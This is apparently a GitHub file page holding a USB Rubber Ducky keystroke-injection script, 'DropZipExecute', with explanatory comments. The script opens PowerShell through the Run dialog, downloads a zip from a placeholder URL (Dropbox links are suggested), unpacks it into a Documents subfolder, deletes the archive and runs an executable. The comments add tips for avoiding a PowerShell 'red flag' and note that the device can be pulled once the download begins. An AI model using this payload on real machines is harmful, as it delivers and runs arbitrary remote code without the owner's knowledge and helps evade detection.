-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDropZipExecute.txt
24 lines (24 loc) · 1.22 KB
/
DropZipExecute.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
REM DROP-ZIP-EXCECUTE
REM By Lumen
REM Downloads program in a zip file, then
REM Unzips and executes it
DELAY 1000
GUI r
DELAY 300
STRING powershell
DELAY 300
ENTER
DELAY 600
STRING Invoke-WebRequest -Uri <ZIP URL> -OutFile "~\Documents\My Games\file.zip"; Expand-Archive -Path "~\Documents\My Games\file.zip" -DestinationPath "~\Documents\My Games\file"; Remove-Item "~\Documents\My Games\file.zip"; & '<EXE PATH>'
ENTER
REM Invoke-WebRequest gets and saves the content of the URI given to it
REM Pasting a dropbox link works well here. Just get the share link and change ?dl=0 to ?dl=1
REM Expand-Archive Unzips path to destinationPath
REM Remove-Item deletes the zip file (just to clean up a bit)
REM & tells powershell to execute the given path
REM since powershelgl opens at C:\Users\%user%, a relative path can be used from there
REM using %user% seems to set off a red flag in powershell, but relative paths work well
REM ; allows multiple commands to be run one after the other, so rather than running one and
REM guessing a wait time, the command is entered and ran all at once.
REM once the command is typed and the download begins, the ducky can be removed and the
REM computer will take care of the rest through the given instructions